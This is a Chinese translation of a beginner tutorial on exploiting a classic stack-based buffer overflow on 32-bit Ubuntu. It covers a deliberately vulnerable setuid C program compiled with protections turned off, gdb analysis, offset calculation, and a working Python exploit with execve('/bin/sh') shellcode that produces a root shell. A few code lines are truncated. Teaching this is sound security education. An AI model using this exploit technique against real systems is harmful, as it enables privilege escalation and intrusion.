典型的基于堆栈的缓冲区溢出
虚拟机安装：Ubuntu 12.04（x86）
这个帖子是最简单的漏洞开发教程系列，在互联网上你可以找到很多关于它的文章。尽管它丰富和熟悉，我更喜欢自己写博客文章，因为它将作为我未来许多职位的先决条件！
什么是缓冲区溢出？
将源缓冲区复制到目标缓冲区可能导致溢出
1、源字符串长度大于目标字符串长度。
2、不进行大小检查。
缓冲区溢出有两种类型：
1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中
2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中
在这篇文章中，我将只讨论基于堆栈的缓冲区溢出。堆溢出将在Linux（x86）漏洞开发教程系列的 “3级”中讨论！
缓冲区溢出错误导致任意代码执行！
什么是任意代码执行？
任意代码执行允许攻击者执行他的代码以获得对受害机器的控制。受害机器的控制是通过多种方式实现的，例如产生根shell，添加新用户，打开网口等...
听起来很有趣，足够的定义让我们看看缓冲区溢出攻击的代码！
漏洞代码
//vuln.c
#include
#include
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}
编译代码
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
上述漏洞代码的[2]行显示了缓冲区溢出错误。这个bug可能导致任意代码执行，因为源缓冲区内容是用户输入的！
如何执行任意代码执行？
使用称为“ 返回地址覆盖 ”的技术实现任意代码执行。这种技术有助于攻击者覆盖位于堆栈中的“返回地址”，并且这种覆盖将导致任意代码执行。
在研究漏洞代码之前，为了更好的理解，让我们反汇编并且绘制出漏洞代码的堆栈布局。
反汇编
(gdb) disassemble main
Dump of assembler code for function main:
//Function Prologue
0x08048414 <+0>:push %ebp //backup caller's ebp
0x08048415 <+1>:mov %esp,%ebp //set callee's ebp to esp
0x08048417 <+3>:and $0xfffffff0,%esp //栈对齐
0x0804841a <+6>:sub $0x110,%esp //stack space for local variables
0x08048420 <+12>:mov 0xc(%ebp),%eax //eax = argv
0x08048423 <+15>:add $0x4,%eax //eax = &argv[1]
0x08048426 <+18>:mov (%eax),%eax //eax = argv[1]
0x08048428 <+20>:mov %eax,0x4(%esp) //strcpy arg2
0x0804842c <+24>:lea 0x10(%esp),%eax //eax = 'buf'
0x08048430 <+28>:mov %eax,(%esp) //strcpy arg1
0x08048433 <+31>:call 0x8048330 //call strcpy
0x08048438 <+36>:mov $0x8048530,%eax //eax = format str "Input:%s\n"
0x0804843d <+41>:lea 0x10(%esp),%edx //edx = buf
0x08048441 <+45>:mov %edx,0x4(%esp) //printf arg2
0x08048445 <+49>:mov %eax,(%esp) //printf arg1
0x08048448 <+52>:call 0x8048320 //call printf
0x0804844d <+57>:mov $0x0,%eax //return value 0
//Function Epilogue
0x08048452 <+62>:leave //mov ebp, esp; pop ebp;
0x08048453 <+63>:ret //return
End of assembler dump.
(gdb)
堆栈布局：
因为我们已经知道用户输入的大于256，将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列“A”来测试它。
测试步骤1：是否可以覆盖返回地址？
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*300'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)
以上输出显示指令指针寄存器（EIP）被“AAAA”覆盖，这样可以确定覆盖返回地址是可能的！
测试步骤2：目的缓冲区的偏移量是多少？
这里让我们找出返回地址相对与目的缓冲区'buf'的偏移量。在反汇编并绘制了main（）的堆栈布局后，现在可以尝试找到偏移位置信息！ 堆栈布局显示返回地址位于距目标缓冲区“buf”的偏移（0x10c）处。 0x10c计算如下：
0x10c = 0x100 + 0x8 + 0x4
哪里
0x100 is ‘buf’ 大小
0x8 is 对齐空间 //这里有点不太明白为啥需要对齐
0x4 is 调用者的ebp
因此，用户输入的 “A” * 268 + “B” * 4，覆盖了’buf‘，对齐空间和调用者的ebp覆盖为”A"并且返回地址变为"BBBB"
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*268 + "B"*4'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)
以上输出显示攻击者可以控制返回地址。 位于堆栈位置（0xbffff1fc）的返回地址被“BBBB”覆盖。 有了这些信息，我们可以编写一个漏洞利用程序来实现任意的代码执行。
攻击代码：
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])
执行上面的exploit程序，给了我们root shell，如下所示：
$ python exp.py
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
注意：为了获得这个root shell，我们关闭了许多漏洞利用缓解技术。
对于所有文章中的1级，我已经禁用了这些利用减轻技术，因为第1级的目标是向您介绍漏洞。
当我们进入Linux（x86）利用开发教程系列的“2级”时，真正的乐趣会发生在这里，我将在此讨论绕过这些利用减轻技术！
本文由看雪论坛 hackyzh 编译，来源sploitfun 转载请注明来自看雪社区